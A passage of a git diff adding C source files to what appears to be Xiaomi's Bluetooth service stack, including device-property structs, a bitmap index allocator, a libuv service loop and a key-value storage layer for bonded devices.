http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BLUETOOTH_DEFINE_H_ +#define __BLUETOOTH_DEFINE_H_ +#include "bluetooth.h" +#include "bt_addr.h" +#include "bt_config.h" +#include "bt_uuid.h" +// #define BLE_MAX_ADV_NUM 8 + +#define SMP_KEYS_MAX_SIZE 80 +#define BT_COMMON_KEY_LENGTH 16 + +#ifdef CONFIG_BLUETOOTH_DEFAULT_COD +#define DEFAULT_DEVICE_OF_CLASS CONFIG_BLUETOOTH_DEFAULT_COD +#else +#define DEFAULT_DEVICE_OF_CLASS 0x00280704 +#endif + +#define DEFAULT_IO_CAPABILITY BT_IO_CAPABILITY_NOINPUTNOOUTPUT +#define DEFAULT_SCAN_MODE BT_BR_SCAN_MODE_CONNECTABLE +#define DEFAULT_BONDABLE_MODE 1 + +#define BT_KVDB_VERSION_KEY "persist.bluetooth.version" +#define BT_STORAGE_VERSION_STR_LEN 12 /* vxxx_xxx_xxx. e.g. v5_0_0 */ +#define BT_STORAGE_CURRENT_VERSION "v5_0_3" + +typedef enum { + BT_LINKKEY_TYPE_COMBINATION_KEY, + BT_LINKKEY_TYPE_LOCAL_UNIT_KEY, + BT_LINKKEY_TYPE_REMOTE_UNIT_KEY, + BT_LINKKEY_TYPE_DEBUG_COMBINATION_KEY, + BT_LINKKEY_TYPE_UNAUTHENTICATED_COMBINATION_KEY_GENERATED_FROM_P192, + BT_LINKKEY_TYPE_AUTHENTICATED_COMBINATION_KEY_GENERATED_FROM_P192, + BT_LINKKEY_TYPE_CHANGED_COMBINATION_KEY, + BT_LINKKEY_TYPE_UNAUTHENTICATED_COMBINATION_KEY_GENERATED_FROM_P256, + BT_LINKKEY_TYPE_AUTHENTICATED_COMBINATION_KEY_GENERATED_FROM_P256 +} bt_link_key_type_t; + +typedef enum { + BT_DBG_TYPE_HCI = 1, + BT_DBG_TYPE_HCI_RAW, + BT_DBG_TYPE_HCI_DUMP, + BT_DBG_TYPE_L2CAP, + BT_DBG_TYPE_SDP, + BT_DBG_TYPE_ATT, + BT_DBG_TYPE_SMP, + BT_DBG_TYPE_RFCOMM, + BT_DBG_TYPE_OBEX, + BT_DBG_TYPE_AVCTP, + BT_DBG_TYPE_AVDTP, + BT_DBG_TYPE_AVRCP, + BT_DBG_TYPE_A2DP, + BT_DBG_TYPE_HFP, + BT_DBG_TYPE_MAX +} bt_debug_type_t; + +typedef struct { + bt_address_t addr; + uint8_t addr_type; + // only can add member after "addr_type" if needed, see function bt_storage_save_remote_device for reasons. + char name[BT_REM_NAME_MAX_LEN + 1]; + char alias[BT_REM_NAME_MAX_LEN + 1]; + uint8_t link_key_type; + uint8_t device_type; + uint8_t pad[1]; + uint8_t link_key[16]; + uint32_t class_of_device; + uint8_t uuids[CONFIG_BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN]; +} __attribute__((aligned(4))) remote_device_properties_v5_0_3_t; + +typedef struct { + bt_address_t addr; + uint8_t addr_type; + // only can add member after "addr_type" if needed, see function bt_storage_save_le_remote_device for reasons. + uint8_t device_type; + uint8_t smp_key[80]; + uint8_t local_csrk[16]; +} __attribute__((aligned(4))) remote_device_le_properties_v5_0_3_t; + +typedef struct { + char name[BT_LOC_NAME_MAX_LEN + 1]; + uint8_t pad[3]; + uint32_t class_of_device; + uint32_t io_capability; + uint32_t scan_mode; + uint32_t bondable; + uint8_t irk[16]; +} __attribute__((aligned(4))) adapter_storage_v5_0_3_t; + +typedef remote_device_properties_v5_0_3_t remote_device_properties_t; +typedef remote_device_le_properties_v5_0_3_t remote_device_le_properties_t; +typedef adapter_storage_v5_0_3_t adapter_storage_t; + +#endif /* __BLUETOOTH_DEFINE_H_ */ \ No newline at end of file diff --git a/service/common/index_allocator.c b/service/common/index_allocator.c new file mode 100644 index 0000000000000000000000000000000000000000..ce0706dee7b0b30c7f62ea2d07605c6414b64fed --- /dev/null +++ b/service/common/index_allocator.c @@ -0,0 +1,83 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <assert.h> +#include <stdlib.h> +#include <string.h> + +#include "index_allocator.h" + +index_allocator_t* index_allocator_create(int max) +{ + uint8_t num_index = (max / 32) + 1; + int size = sizeof(index_allocator_t) + num_index * 4; + + index_allocator_t* allocator = malloc(size); + if (!allocator) + return NULL; + + memset(allocator, 0, size); + allocator->id_max = max; + allocator->id_next = 0; + + return allocator; +} + +void index_allocator_delete(index_allocator_t** allocator) +{ + if (*allocator) + free(*allocator); + + *allocator = NULL; +} + +int index_alloc(index_allocator_t* allocator) +{ + uint8_t start = allocator->id_next; + uint8_t minor; + int index; + int bitno; + + do { + minor = allocator->id_next; + if (allocator->id_next >= allocator->id_max) + allocator->id_next = 0; + else + allocator->id_next++; + + index = minor >> 5; + bitno = minor & 31; + if ((allocator->id_map[index] & (1 << bitno)) == 0) { + allocator->id_map[index] |= (1 << bitno); + return (int)minor; + } + } while (allocator->id_next != start); + + return -1; +} + +void index_free(index_allocator_t* allocator, uint16_t id) +{ + int index; + int bitno; + + index = id >> 5; + bitno = id & 31; + + assert((allocator->id_map[index] & (1 << bitno)) != 0); + allocator->id_map[index] &= ~(1 << bitno); + if (id < allocator->id_next) + allocator->id_next = id; +} \ No newline at end of file diff --git a/service/common/index_allocator.h b/service/common/index_allocator.h new file mode 100644 index 0000000000000000000000000000000000000000..2da113b6bd9e39598b7e13fa0932fe1d171a0538 --- /dev/null +++ b/service/common/index_allocator.h @@ -0,0 +1,32 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __INDEX_ALLOCATOR_H__ +#define __INDEX_ALLOCATOR_H__ + +#include <stdint.h> + +typedef struct { + uint32_t id_max; + uint8_t id_next; + uint32_t id_map[0]; +} index_allocator_t; + +index_allocator_t* index_allocator_create(int max); +void index_allocator_delete(index_allocator_t** allocator); +int index_alloc(index_allocator_t* allocator); +void index_free(index_allocator_t* allocator, uint16_t id); + +#endif /* __INDEX_ALLOCATOR_H__ */ \ No newline at end of file diff --git a/service/common/service_loop.c b/service/common/service_loop.c new file mode 100644 index 0000000000000000000000000000000000000000..647b1c2cdf0832c6c8bdca23d4de7da78251ff6d --- /dev/null +++ b/service/common/service_loop.c @@ -0,0 +1,537 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __NuttX__ +#define _GNU_SOURCE +#endif + +#define LOG_TAG "service_loop" + +#include <pthread.h> +#include <stdint.h> +#include <stdlib.h> +#ifdef CONFIG_NET_SOCKOPTS +#include <sys/socket.h> +#endif + +#include "bt_debug.h" +#include "bt_list.h" +#include "service_loop.h" +#include "utils/log.h" + +BT_DEBUG_MKTIMEVAL_S(service_message_callback); +#define DEFERRED_MSG_TIMEOUT (100) /**< 100ms */ +#define DEFFERED_MSG_MAX (50) + +typedef struct { + struct list_node node; + union { + service_func_t func; + service_init_t init; + service_func_t cleanup; + }; + void* msg; +} internel_msg_t; + +typedef struct { + service_func_t func; + void* data; + uv_sem_t signal; +} signal_msg_t; + +static void set_stop(void* data); + +static void set_ready(void* data) +{ + service_loop_t* loop = data; + struct list_node* node; + struct list_node* tmp; + internel_msg_t* imsg; + int ret; + + loop->is_running = 1; + uv_sem_init(&loop->exited, 0); + + list_for_every_safe(&loop->init_queue, node, tmp) + { + imsg = (internel_msg_t*)node; + ret = imsg->init(NULL); + list_delete(node); + free(imsg); + if (ret != 0) { + BT_LOGE("%s init process fail: %d", __func__, ret); + set_stop(data); + return; + } + } + + if (uv_thread_self() == loop->thread) + uv_sem_post(&loop->ready); + + BT_LOGD("set_ready"); +} + +static void set_stop(void* data) +{ + service_loop_t* loop = data; + + loop->is_running = 0; + uv_close((uv_handle_t*)&loop->async, NULL); + uv_stop(loop->handle); + BT_LOGD("set_stopped"); +} + +static void service_sync_callback(void* data) +{ + signal_msg_t* msg = (signal_msg_t*)data; + + msg->func(msg->data); + uv_sem_post(&msg->signal); +} + +static void service_message_callback(uv_async_t* handle) +{ + uv_loop_t* uvloop = handle->loop; + service_loop_t* loop = uvloop->data; + internel_msg_t* imsg; + + BT_DEBUG_ENTER_TIME_SECTION(service_message_callback); + + for (;;) { + uv_mutex_lock(&loop->msg_lock); + imsg = (internel_msg_t*)list_remove_head(&loop->msg_queue); + uv_mutex_unlock(&loop->msg_lock); + if (!imsg) { + BT_DEBUG_EXIT_TIME_SECTION(service_message_callback); + return; + } + + imsg->func(imsg->msg); + free(imsg); + } +} + +static void service_schedule_loop(void* data) +{ + service_loop_t* loop = data; + + int ret = uv_async_init(loop->handle, &loop->async, service_message_callback); + if (ret != 0) { + BT_LOGE("%s async error: %d", __func__, ret); + return; + } + + BT_LOGD("%s:%p, async:%p", __func__, loop->handle, &loop->async); + do_in_service_loop(set_ready, loop); + uv_run(loop->handle, UV_RUN_DEFAULT); + loop->is_running = 0; + (void)uv_loop_close(loop->handle); + + BT_LOGD("%s %s quit", loop->name, __func__); + uv_sem_post(&loop->exited); +} + +static void service_timer_cb(uv_timer_t* handle) +{ + service_timer_t* timer = (service_timer_t*)handle; + + if (timer->callback) + timer->callback(timer, timer->userdata); +} + +static int uv_events(int events) +{ + int pevents = 0; + + if (events & POLL_READABLE) + pevents |= UV_READABLE; + if (events & POLL_WRITABLE) + pevents |= UV_WRITABLE; + if (events & POLL_DISCONNECT) + pevents |= UV_DISCONNECT; + + return pevents; +} + +static void service_poll_cb(uv_poll_t* handle, int status, int events) +{ + service_poll_t* poll = (service_poll_t*)handle; + int revents = 0; + + if (poll->callback) { + if (status != 0) + revents |= POLL_ERROR; + if (events & UV_READABLE) + revents |= POLL_READABLE; + if (events & UV_WRITABLE) + revents |= POLL_WRITABLE; + if (events & UV_DISCONNECT) + revents |= POLL_DISCONNECT; + poll->callback(poll, revents, poll->userdata); + } +} + +static void handle_close_cb(uv_handle_t* handle) +{ + if (handle->data) + free(handle->data); +} + +int service_loop_init(void) +{ + uv_loop_t* uvloop; + service_loop_t* loop; + int ret; + + uvloop = get_service_uv_loop(); + if (uvloop->data != NULL) + return -1; + + loop = calloc(1, sizeof(service_loop_t)); + if (loop == NULL) { + ret = -ENOMEM; + goto fail; + } + + loop->handle = uvloop; + loop->handle->data = loop; + loop->is_running = 0; + ret = uv_mutex_init(&loop->msg_lock); + if (ret != 0) { + BT_LOGE("%s mutex error: %d", __func__, ret); + goto fail; + } + + list_initialize(&loop->msg_queue); + list_initialize(&loop->init_queue); + list_initialize(&loop->deferred_queue); + + return 0; + +fail: + (void)uv_loop_close(uvloop); + free(loop); + return ret; +} + +int service_loop_run(bool start_thread, char* name) +{ + uv_loop_t* handle = get_service_uv_loop(); + service_loop_t* loop = handle->data; + + if (start_thread) { + int ret = uv_sem_init(&loop->ready, 0); + if (ret != 0) { + BT_LOGE("%s sem init error: %d", __func__, ret); + return ret; + } + + uv_thread_options_t options = { + UV_THREAD_HAS_STACK_SIZE | UV_THREAD_HAS_PRIORITY, + CONFIG_BLUETOOTH_SERVICE_LOOP_THREAD_STACK_SIZE, + CONFIG_BLUETOOTH_SERVICE_LOOP_THREAD_PRIORITY + }; + ret = uv_thread_create_ex(&loop->thread, &options, service_schedule_loop, loop); + if (ret != 0) { + BT_LOGE("service loop thread create :%d", ret); + return ret; + } + + if (name != NULL && strlen(name) > 0) + snprintf(loop->name, sizeof(loop->name), "%s_%d", name, getpid()); + else + snprintf(loop->name, sizeof(loop->name), "loop_%d", getpid()); + pthread_setname_np(loop->thread, loop->name); + uv_sem_wait(&loop->ready); + uv_sem_destroy(&loop->ready); + BT_LOGD("%s loop running now !!!", loop->name); + } else { + pthread_setschedprio(loop->thread, CONFIG_BLUETOOTH_SERVICE_LOOP_THREAD_PRIORITY); + + BT_LOGD("service loop running now !!!"); + service_schedule_loop(loop); + } + + return 0; +} + +void service_loop_exit(void) +{ + uv_loop_t* handle = get_service_uv_loop(); + service_loop_t* loop = handle->data; + struct list_node* node; + struct list_node* tmp; + + if (loop == NULL) { + (void)uv_loop_close(handle); + return; + } + + service_loop_cancel_timer(loop->deferred_timer); + loop->deferred_timer = NULL; + + if (loop->is_running) { + do_in_service_loop(set_stop, loop); + uv_sem_wait(&loop->exited); + uv_sem_destroy(&loop->exited); + } else { + if (!uv_loop_is_close(handle)) { + uv_run(handle, UV_RUN_ONCE); + (void)uv_loop_close(handle); + } + } + + uv_mutex_lock(&loop->msg_lock); + list_for_every_safe(&loop->init_queue, node, tmp) + { + list_delete(node); + free(node); + } + + list_for_every_safe(&loop->msg_queue, node, tmp) + { + list_delete(node); + free(node); + } + + list_for_every_safe(&loop->deferred_queue, node, tmp) + { + list_delete(node); + free(node); + } + + list_delete(&loop->msg_queue); + list_delete(&loop->deferred_queue); + uv_mutex_unlock(&loop->msg_lock); + uv_mutex_destroy(&loop->msg_lock); + free(loop); +} + +service_poll_t* service_loop_poll_fd(int fd, int pevents, service_poll_cb_t cb, void* userdata) +{ + uv_loop_t* handle = get_service_uv_loop(); + service_loop_t* loop = handle->data; + + assert(fd); + assert(cb); + + service_poll_t* poll = (service_poll_t*)malloc(sizeof(service_poll_t)); + if (!poll) + return NULL; + + poll->callback = cb; + poll->userdata = userdata; + poll->handle.data = poll; + int ret = uv_poll_init(loop->handle, &poll->handle, fd); + if (ret != 0) + goto error; + + ret = uv_poll_start(&poll->handle, uv_events(pevents), service_poll_cb); + if (ret != 0) + goto error; + + return poll; + +error: + BT_LOGE("%s failed: %d", __func__, ret); + free(poll); + return NULL; +} + +int service_loop_reset_poll(service_poll_t* poll, int pevents) +{ + assert(poll); + + uv_poll_stop(&poll->handle); + + return uv_poll_start(&poll->handle, uv_events(pevents), service_poll_cb); +} + +void service_loop_remove_poll(service_poll_t* poll) +{ + if (!poll) + return; + + uv_poll_stop(&poll->handle); + uv_close((uv_handle_t*)&poll->handle, handle_close_cb); +} + +service_timer_t* service_loop_timer(uint64_t timeout, uint64_t repeat, service_timer_cb_t cb, void* userdata) +{ + uv_loop_t* handle = get_service_uv_loop(); + service_loop_t* loop = handle->data; + + if (!cb) + return NULL; + + service_timer_t* timer = malloc(sizeof(service_timer_t)); + if (!timer) + return NULL; + + uv_timer_init(loop->handle, &timer->handle); + timer->callback = cb; + timer->userdata = userdata; + timer->handle.data = timer; + uv_timer_start(&timer->handle, service_timer_cb, timeout, repeat); + + return timer; +} + +service_timer_t* service_loop_timer_no_repeating(uint64_t timeout, service_timer_cb_t cb, void* userdata) +{ + return service_loop_timer(timeout, 0, cb, userdata); +} + +void service_loop_cancel_timer(service_timer_t* timer) +{ + if (!timer) + return; + + uv_timer_stop(&timer->handle); + uv_close((uv_handle_t*)&timer->handle, handle_close_cb); +} + +static void service_work_cb(uv_work_t* req) +{ + service_work_t* work = req->data; + assert(work); + + work->work_cb(work, work->userdata); +} + +static void service_after_work_cb(uv_work_t* req, int status) +{ + service_work_t* work = req->data; + assert(status == 0); + assert(work); + + if (work->after_work_cb) + work->after_work_cb(work, work->userdata); + free(work); +} + +service_work_t* service_loop_work(void* user_data, service_work_cb_t work_cb, + service_after_work_cb_t after_work_cb) +{ + uv_loop_t* handle = get_service_uv_loop(); + + service_work_t* work = zalloc(sizeof(*work)); + if (work == NULL) + return work; + + work->userdata = user_data; + work->work_cb = work_cb; + work->after_work_cb = after_work_cb; + work->work.data = work; + + if (uv_queue_work(handle, &work->work, service_work_cb, service_after_work_cb) != 0) { + free(work); + return NULL; + } + + return work; +} + +void add_init_process(service_init_t func) +{ + uv_loop_t* handle = get_service_uv_loop(); + service_loop_t* loop = handle->data; + + internel_msg_t* msg = (internel_msg_t*)malloc(sizeof(internel_msg_t)); + + msg->init = func; + uv_mutex_lock(&loop->msg_lock); + list_add_tail(&loop->init_queue, &msg->node); + uv_mutex_unlock(&loop->msg_lock); +} + +void do_in_service_loop(service_func_t func, void* data) +{ + uv_loop_t* handle = get_service_uv_loop(); + service_loop_t* loop = handle->data; + + internel_msg_t* msg = (internel_msg_t*)malloc(sizeof(internel_msg_t)); + assert(msg); + + msg->func = func; + msg->msg = data; + + uv_mutex_lock(&loop->msg_lock); + list_add_tail(&loop->msg_queue, &msg->node); + uv_mutex_unlock(&loop->msg_lock); + + uv_async_send(&loop->async); +} + +void do_in_service_loop_sync(service_func_t func, void* data) +{ + signal_msg_t msg; + + msg.func = func; + msg.data = data; + uv_sem_init(&msg.signal, 0); + do_in_service_loop(service_sync_callback, &msg); + uv_sem_wait(&msg.signal); + uv_sem_destroy(&msg.signal); +} + +static void deferred_timeout(service_timer_t* timer, void* data) +{ + service_loop_t* loop = (service_loop_t*)data; + + uv_mutex_lock(&loop->msg_lock); + list_merge(&loop->msg_queue, &loop->deferred_queue); + uv_mutex_unlock(&loop->msg_lock); + + service_loop_cancel_timer(loop->deferred_timer); + loop->deferred_timer = NULL; + + uv_async_send(&loop->async); +} + +void do_in_service_loop_deffered(service_func_t func, void* data, bool flushable) +{ + uv_loop_t* handle = get_service_uv_loop(); + service_loop_t* loop = handle->data; + size_t length; + internel_msg_t* msg; + + if (flushable) { + uv_mutex_lock(&loop->msg_lock); + length = list_length(&loop->deferred_queue); + uv_mutex_unlock(&loop->msg_lock); + if (length > DEFFERED_MSG_MAX) { + return; + } + } + + msg = (internel_msg_t*)malloc(sizeof(internel_msg_t)); + assert(msg); + + msg->func = func; + msg->msg = data; + + uv_mutex_lock(&loop->msg_lock); + list_add_tail(&loop->deferred_queue, &msg->node); + uv_mutex_unlock(&loop->msg_lock); + + if (!loop->deferred_timer) + loop->deferred_timer = service_loop_timer_no_repeating(DEFERRED_MSG_TIMEOUT, deferred_timeout, loop); +} + +uv_loop_t* get_service_uv_loop(void) +{ + return uv_default_loop(); +} diff --git a/service/common/service_loop.h b/service/common/service_loop.h new file mode 100644 index 0000000000000000000000000000000000000000..3c7a25e343ed8bb391dd42895274215d8a156620 --- /dev/null +++ b/service/common/service_loop.h @@ -0,0 +1,95 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_SERVICE_LOOP_H__ +#define _BT_SERVICE_LOOP_H__ + +#include <stdint.h> + +#include "bt_list.h" +#include "uv.h" + +enum service_poll_event { + POLL_READABLE = 1, + POLL_WRITABLE = 2, + POLL_DISCONNECT = 4, + POLL_ERROR = 8 +}; + +typedef struct service_timer service_timer_t; +typedef struct service_poll service_poll_t; +typedef struct service_work service_work_t; +typedef void (*service_poll_cb_t)(service_poll_t* poll, int revent, void* userdata); +typedef void (*service_timer_cb_t)(service_timer_t* timer, void* userdata); +typedef void (*service_func_t)(void* data); +typedef int (*service_init_t)(void* data); +typedef void (*service_work_cb_t)(service_work_t* work, void* userdata); +typedef void (*service_after_work_cb_t)(service_work_t* work, void* userdata); + +typedef struct service_loop { + char name[64]; + uv_loop_t* handle; + uv_async_t async; + uv_thread_t thread; + uv_mutex_t msg_lock; + uv_sem_t ready; + uv_sem_t exited; + uint8_t is_running; + struct list_node msg_queue; + struct list_node init_queue; + struct list_node clean_queue; + struct list_node deferred_queue; + service_timer_t* deferred_timer; +} service_loop_t; + +typedef struct service_timer { + uv_timer_t handle; + service_timer_cb_t callback; + void* userdata; +} service_timer_t; + +typedef struct service_poll { + uv_poll_t handle; + service_poll_cb_t callback; + void* userdata; +} service_poll_t; + +typedef struct service_work { + uv_work_t work; + service_work_cb_t work_cb; + service_after_work_cb_t after_work_cb; + void* userdata; +} service_work_t; + +int service_loop_init(void); +int service_loop_run(bool start_thread, char* name); +void service_loop_exit(void); +service_poll_t* service_loop_poll_fd(int fd, int pevents, service_poll_cb_t cb, void* userdata); +int service_loop_reset_poll(service_poll_t* poll, int pevents); +void service_loop_remove_poll(service_poll_t* poll); +service_timer_t* service_loop_timer(uint64_t timeout, uint64_t repeat, service_timer_cb_t cb, void* userdata); +service_timer_t* service_loop_timer_no_repeating(uint64_t timeout, service_timer_cb_t cb, void* userdata); +void service_loop_cancel_timer(service_timer_t* timer); +service_work_t* service_loop_work(void* user_data, service_work_cb_t work_cb, + service_after_work_cb_t after_work_cb); +void do_in_service_loop(service_func_t func, void* data); +void do_in_service_loop_sync(service_func_t func, void* data); +void do_in_service_loop_deffered(service_func_t func, void* data, bool flushable); +void add_init_process(service_init_t func); + +uv_loop_t* get_service_uv_loop(void); + +uint64_t bt_get_os_timestamp_us(void); +#endif /* _BT_SERVICE_LOOP_H__ */ diff --git a/service/common/storage.c b/service/common/storage.c new file mode 100644 index 0000000000000000000000000000000000000000..28f2a701c908d5f70f3fe9dc36bef0e886bb7be7 --- /dev/null +++ b/service/common/storage.c @@ -0,0 +1,208 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#define LOG_TAG "storage" +#include <nuttx/crc16.h> +#include <stdint.h> +#include <time.h> +#include <unistd.h> + +#include "bluetooth_define.h" +#include "service_loop.h" +#include "storage.h" +#include "utils/log.h" +#include "uv_ext.h" + +#define BT_DB_FOLDER_PATH "/data/misc/bt" +#define BT_DB_FILE_NAME "bt_storage.db" +#define BT_DB_FILE_PATH BT_DB_FOLDER_PATH "/" BT_DB_FILE_NAME +#define REMOTE_DEVICE_FILE_NAME "device.db" + +#define BT_KEY_ADAPTER_INFO "AdapterInfo" +#define BT_KEY_BTBOND "BtBonded" +#define BT_KEY_BLEBOND "BleBonded" +#define BT_KEY_BLEWHITELIST "WhiteList" +#define BT_KEY_BLERESOLVINGLIST "ResolvingList" + +typedef struct { + uint16_t items; + uint16_t key_length; + uint8_t key_value[0]; +} key_header_t; + +static uv_db_t* storage_handle = NULL; + +static void key_set_callback(int status, const char* key, uv_buf_t value, void* cookie) +{ + free(value.base); +} + +static void key_get_callback(int status, const char* key, uv_buf_t value, void* cookie) +{ + load_storage_callback_t callback = (load_storage_callback_t)cookie; + if (status == 0) { + key_header_t* header = (key_header_t*)value.base; + assert(value.len == (sizeof(key_header_t) + header->key_length)); + callback(header->key_value, header->key_length, header->items); + } else + callback(NULL, 0, 0); +} + +static int storage_set_key(const char* key, void* data, uint16_t length) +{ + uv_buf_t buf = uv_buf_init((char*)data, length); + int ret = uv_db_set(storage_handle, key, &buf, key_set_callback, NULL); + if (ret != 0) + BT_LOGE("key %s set error:%d", key, ret); + + return ret; +} + +static int storage_get_key(const char* key, void** data, uint16_t* length, void* cookie) +{ + uv_buf_t buf; + + if (data) + buf = uv_buf_init(NULL, 0); + + int ret = uv_db_get(storage_handle, key, data ? &buf : NULL, + data ? NULL : key_get_callback, cookie); + if (ret == 0 && data) { + *data = buf.base; + *length = buf.len; + } + + return ret; +} + +static void adapter_properties_default(adapter_storage_t* prop) +{ + srand(time(NULL)); + int r = rand() % 999; + snprintf(prop->name, BT_LOC_NAME_MAX_LEN, "%s-%03X", "XIAOMI VELA", r); + prop->class_of_device = DEFAULT_DEVICE_OF_CLASS; + prop->io_capability = DEFAULT_IO_CAPABILITY; + prop->scan_mode = DEFAULT_SCAN_MODE; + prop->bondable = DEFAULT_BONDABLE_MODE; +} + +int bt_storage_save_adapter_info(adapter_storage_t* adapter) +{ + key_header_t* key = malloc(sizeof(key_header_t) + sizeof(*adapter)); + + key->items = 1; + key->key_length = sizeof(*adapter); + memcpy(key->key_value, adapter, sizeof(*adapter)); + int ret = storage_set_key(BT_KEY_ADAPTER_INFO, key, sizeof(key_header_t) + sizeof(*adapter)); + if (ret != 0) + free(key); + + return ret; +} + +int bt_storage_load_adapter_info(adapter_storage_t* adapter) +{ + uint16_t len = sizeof(key_header_t) + sizeof(*adapter); + key_header_t* key; + + if (storage_get_key(BT_KEY_ADAPTER_INFO, (void**)&key, &len, NULL) == 0) { + memcpy(adapter, key->key_value, sizeof(*adapter)); + free(key); + } else { + adapter_properties_default(adapter); + bt_storage_save_adapter_info(adapter); + } + + return 0; +} + +static int bt_storage_save_remote_device(const char* key, void* value, uint16_t value_size, uint16_t items) +{ + uint16_t total_length = value_size * items; + key_header_t* header = malloc(sizeof(key_header_t) + total_length); + + header->items = items; + header->key_length = total_length; + if (value && items) + memcpy(header->key_value, value, total_length); + + int ret = storage_set_key(key, header, sizeof(key_header_t) + total_length); + if (ret != 0) + free(header); + + return ret; +} + +int bt_storage_save_bonded_device(remote_device_properties_t* remote, uint16_t size) +{ + return bt_storage_save_remote_device(BT_KEY_BTBOND, remote, sizeof(*remote), size); +} + +int bt_storage_save_whitelist(remote_device_le_properties_t* remote, uint16_t size) +{ + return bt_storage_save_remote_device(BT_KEY_BLEWHITELIST, remote, sizeof(*remote), size); +} + +int bt_storage_save_le_bonded_device(remote_device_le_properties_t* remote, uint16_t size) +{ + return bt_storage_save_remote_device(BT_KEY_BLEBOND, remote, sizeof(*remote), size); +} + +int bt_storage_load_bonded_device(load_storage_callback_t cb) +{ + return storage_get_key(BT_KEY_BTBOND, NULL, NULL, (void*)cb); +} + +int bt_storage_load_whitelist_device(load_storage_callback_t cb) +{ + return storage_get_key(BT_KEY_BLEWHITELIST, NULL, NULL, (void*)cb); +} + +int bt_storage_load_le_bonded_device(load_storage_callback_t cb) +{ + return storage_get_key(BT_KEY_BLEBOND, NULL, NULL, (void*)cb); +} + +void bt_storage_load_le_device_info(void) +{ +} + +void bt_storage_load_irk_info(void) +{ +} + +int bt_storage_init(void) +{ + int ret; + + ret = uv_db_init(get_service_uv_loop(), &storage_handle, BT_DB_FILE_PATH); + if (ret != 0) + BT_LOGE("%s fail, ret:%d", __func__, ret); + + BT_LOGD("%s successed", __func__); + + return ret; +} + +int bt_storage_cleanup(void) +{ + BT_LOGD("%s", __func__); + if (storage_handle) + uv_db_close(storage_handle); + + storage_handle = NULL; + return 0; +} \ No newline at end of file diff --git a/service/common/storage.h b/service/common/storage.h new file mode 100644 index 0000000000000000000000000000000000000000..c8389121026ac19b3a98440798ec0cb981124571 --- /dev/null +++ b/service/common/storage.h @@ -0,0 +1,65 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_STORAGE_H__ +#define _BT_STORAGE_H__ + +#include "bluetooth_define.h" + +typedef void (*load_storage_callback_t)(void* data, uint16_t length, uint16_t items); + +int bt_storage_init(void); +int bt_storage_cleanup(void); + +int bt_storage_save_adapter_info(adapter_storage_t* adapter); +int bt_storage_load_adapter_info(adapter_storage_t* adapter); +int bt_storage_save_bonded_device(remote_device_properties_t* remote, uint16_t size); +int bt_storage_save_whitelist(remote_device_le_properties_t* remote, uint16_t size); +int bt_storage_save_le_bonded_device(remote_device_le_properties_t* remote, uint16_t size); +int bt_storage_load_bonded_device(load_storage_callback_t cb); +int bt_storage_load_whitelist_device(load_storage_callback_t cb); +int bt_storage_load_le_bonded_device(load_storage_callback_t cb); + +#ifdef CONFIG_BLUETOOTH_STORAGE_PROPERTY_SUPPORT +#define GEN_PROP_KEY(buf, key, address, len) snprintf((buf), (len), "%s%02X:%02X:%02X:%02X:%02X:%02X", \ + (key), \ + (address)->addr[5], (address)->addr[4], (address)->addr[3], \ + (address)->addr[2], (address)->addr[1], (address)->addr[0]) + +#define PARSE_PROP_KEY(addr_str, name, name_prefix_len, addr_str_len, addr_ptr) \ + do { \ + strlcpy((addr_str), 